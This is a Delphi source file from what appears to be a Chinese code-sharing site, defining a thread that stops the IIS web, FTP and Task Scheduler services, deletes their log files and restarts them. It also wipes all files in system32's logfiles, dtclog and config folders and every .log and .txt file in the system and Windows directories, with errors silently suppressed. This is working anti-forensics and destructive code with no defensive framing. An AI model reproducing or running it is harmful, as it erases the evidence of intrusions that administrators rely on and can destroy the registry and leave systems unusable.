📄 cleanerlogunit.pas
字号:
unit CleanerLogUnit;
interface
uses
Windows, Messages,Classes,WinntService, SysUtils;
type
TCleanerLogThread = class(TThread)
private
protected
procedure Execute; override;
Public
constructor Create();
destructor Destroy; override;
end;
implementation
constructor TCleanerLogThread.Create();
begin
inherited Create(True);
FreeOnTerminate:=True;
Suspended := False;
end;
function Syspath :string;
var sysdir:array [0..255] of char;
begin
GetSystemDirectory(sysdir,255);
Result :=sysdir;
if copy(Result,length(Result),1)<>'\' then
Result:=Result+'\';
end;
{安装目录路径}
function Windowspath :string;
var sysdir:array [0..255] of char;
begin
GetWindowsDirectory(sysdir,255);
Result :=sysdir;
if copy(Result,length(Result),1)<>'\' then
Result:=Result+'\';
end;
procedure DoRemoveDir(mDirName: string;DelTy:String);
var
vSearchRec: TSearchRec;
vPathName: string;
K: Integer;
begin
try
vPathName := mDirName+DelTy;
K := FindFirst(vPathName, faAnyFile, vSearchRec);
while K = 0 do begin
try
FileSetAttr(mDirName + vSearchRec.Name, 0);
DeleteFile(PChar(mDirName + vSearchRec.Name));
except
end;
K := FindNext(vSearchRec);
end;
FindClose(vSearchRec);
except
end;
end;
procedure Del3WFile; {删除 w3svc 记录}
var
Delpath:String;
begin
try
Delpath:=Syspath+'logfiles\w3svc1\';
if ServiceRunning('','w3svc') then
begin
if ServiceStop('','w3svc') then
begin
DoRemoveDir(Delpath,'*.log');
ServiceStart('','w3svc');
end;
end else begin
DoRemoveDir(Delpath,'*.log');
end;
except
end;
end;
procedure DelFtpFile; {删除 msftpsvc 记录}
var
Delpath:String;
begin
try
Delpath:=Syspath+'logfiles\msftpsvc1\';
if ServiceRunning('','msftpsvc') then
begin
if ServiceStop('','msftpsvc') then
begin
DoRemoveDir(Delpath,'*.log');
ServiceStart('','msftpsvc');
end;
end else begin
DoRemoveDir(Delpath,'*.log');
end;
except
end;
end;
procedure DelSheduleFile; {删除 schedule 记录}
var
Delpath:String;
begin
try
Delpath:=Syspath;
if ServiceRunning('','schedule') then
begin
if ServiceStop('','schedule') then
begin
try
FileSetAttr(Syspath + 'SchedLgU.txt', 0);
DeleteFile(PChar(Syspath + 'SchedLgU.txt'));
except
end;
ServiceStart('','schedule');
end;
end else begin
DoRemoveDir(Delpath,'*.log');
end;
except
end;
end;
procedure DelOtherFile; {删除其它记录}
var
Delpath:String;
begin
try
//删除logfiles下全部文件
Delpath:=Syspath+'logfiles\';
DoRemoveDir(Delpath,'*.*');
//删除dtclog下全部文件
Delpath:=Syspath+'dtclog\';
DoRemoveDir(Delpath,'*.*');
//删除config下全部文件
Delpath:=Syspath+'config\';
DoRemoveDir(Delpath,'*.*');
//删除system32下全部log文件
Delpath:=Syspath;
DoRemoveDir(Delpath,'*.log');
//删除system32下全部的txt文件
Delpath:=Syspath;
DoRemoveDir(Delpath,'*.txt');
//删除\winnt\*.log
Delpath:=Windowspath;
DoRemoveDir(Delpath,'*.log');
//删除\winnt\*.txt
Delpath:=Windowspath;
DoRemoveDir(Delpath,'*.txt');
except
end;
end;
procedure TCleanerLogThread.Execute;
begin
try
DelOtherFile;
Del3WFile;
DelFtpFile;
DelSheduleFile;
except
end;
Self.Terminate;
end;
destructor TCleanerLogThread.Destroy;
begin
inherited destroy;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -